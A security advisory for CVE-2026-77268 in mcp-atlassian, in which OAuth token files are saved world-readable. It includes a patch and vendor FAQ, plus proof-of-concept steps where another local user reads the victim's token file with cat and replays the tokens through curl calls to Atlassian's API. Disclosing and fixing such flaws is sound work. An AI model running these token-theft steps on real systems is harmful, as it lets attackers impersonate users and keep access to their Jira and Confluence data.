CVE-2026-77268

MCP Atlassian: Insecure File Permissions on OAuth Token Storage

# src/mcp_atlassian/utils/oauth.py:402-403
token_dir = Path.home() / ".mcp-atlassian"
token_dir.mkdir(exist_ok=True)

# src/mcp_atlassian/utils/oauth.py:406-418
token_path = token_dir / f"oauth-{self.client_id}.json"

if token_data is None:
    token_data = {
        "refresh_token": self.refresh_token,
        "access_token": self.access_token,
        "expires_at": self.expires_at,
        "cloud_id": self.cloud_id,
        "base_url": self.base_url,
    }

with open(token_path, "w") as f:
    json.dump(token_data, f)

# Step 1: Victim runs mcp-atlassian with OAuth and completes the flow.
# This creates the token file.

# Step 2: As any other user on the same system, read the token file:
cat /home/victim/.mcp-atlassian/oauth-*.json

# Expected output (sensitive credentials in plaintext):
# {"refresh_token": "eyJ...", "access_token": "eyJ...", "expires_at": 1741234567.0, "cloud_id": "abc-123", "base_url": null}

# Step 3: Verify the token works:
curl -H "Authorization: Bearer <stolen_access_token>" \
  "https://api.atlassian.com/ex/jira/<stolen_cloud_id>/rest/api/3/myself"

# Step 4: Use the refresh token to get a new access token:
curl -X POST "https://auth.atlassian.com/oauth/token" \
  -d "grant_type=refresh_token" \
  -d "client_id=<from_env>" \
  -d "client_secret=<from_env>" \
  -d "refresh_token=<stolen_refresh_token>"

ls -la ~/.mcp-atlassian/
# drwxr-xr-x  2 user user 4096 Mar 10 12:00 .
# -rw-r--r--  1 user user  256 Mar 10 12:00 oauth-abc123.json
#                ^^ ^^ ^^
#                world-readable!

• Credential theft: Any local user can read the OAuth tokens and impersonate the victim on their Atlassian Cloud/Data Center instance.
• Persistent access: The refresh token allows the attacker to generate new access tokens indefinitely, even after the original access token expires.
• Full API access: The stolen tokens grant the same API permissions as the victim, including reading/writing Jira issues, Confluence pages, and potentially sensitive project data.
• Affected environments: Shared servers, CI/CD runners, multi-user workstations, and containerized deployments where the fallback file storage is used (keyring unavailable).

A file, directory, or other resource is assigned permissions that allow broader access than intended. Typical impact: unauthorized read, modification, or execution of the resource.

CVE-2026-77268 has a CVSS score of 5.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. Set restrictive permissions on the directory and file:

# src/mcp_atlassian/utils/oauth.py

import os
import stat

def _save_tokens_to_file(self, token_data: dict | None = None) -> None:
    """Save the tokens to a file as fallback storage."""
    try:
        token_dir = Path.home() / ".mcp-atlassian"
        token_dir.mkdir(exist_ok=True, mode=0o700)

        token_path = token_dir / f"oauth-{self.client_id}.json"

        if token_data is None:
            token_data = {
                "refresh_token": self.refresh_token,
                "access_token": self.access_token,
                "expires_at": self.expires_at,
                "cloud_id": self.cloud_id,
                "base_url": self.base_url,
            }

        # Open with restrictive permissions (owner-only read/write)
        fd = os.open(
            str(token_path),
            os.O_WRONLY | os.O_CREAT | os.O_TRUNC,
            stat.S_IRUSR | stat.S_IWUSR,  # 0o600
        )
        try:
            with os.fdopen(fd, "w") as f:
                json.dump(token_data, f)
        except Exception:
            os.close(fd)
            raise

        logger.debug(f"Saved OAuth tokens to file {token_path} (fallback storage)")
    except Exception as e:
        logger.error(f"Failed to save tokens to file: {e}")

2. Additionally, fix the directory permissions for existing installations:

# In __init__ or from_env, ensure existing directories are tightened
token_dir = Path.home() / ".mcp-atlassian"
if token_dir.exists():
    os.chmod(str(token_dir), 0o700)

1. What is CVE-2026-77268? CVE-2026-77268 is a medium-severity incorrect permission assignment for critical resource vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0. A file, directory, or other resource is assigned permissions that allow broader access than intended.
2. How severe is CVE-2026-77268? CVE-2026-77268 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mcp-atlassian are affected by CVE-2026-77268? mcp-atlassian (pip) versions < 0.22.0 is affected.
4. Is there a fix for CVE-2026-77268? Yes. CVE-2026-77268 is fixed in 0.22.0. Upgrade to this version or later.
5. Is CVE-2026-77268 exploitable, and should I be worried? Whether CVE-2026-77268 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-77268 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-77268? Upgrade mcp-atlassian to 0.22.0 or later.

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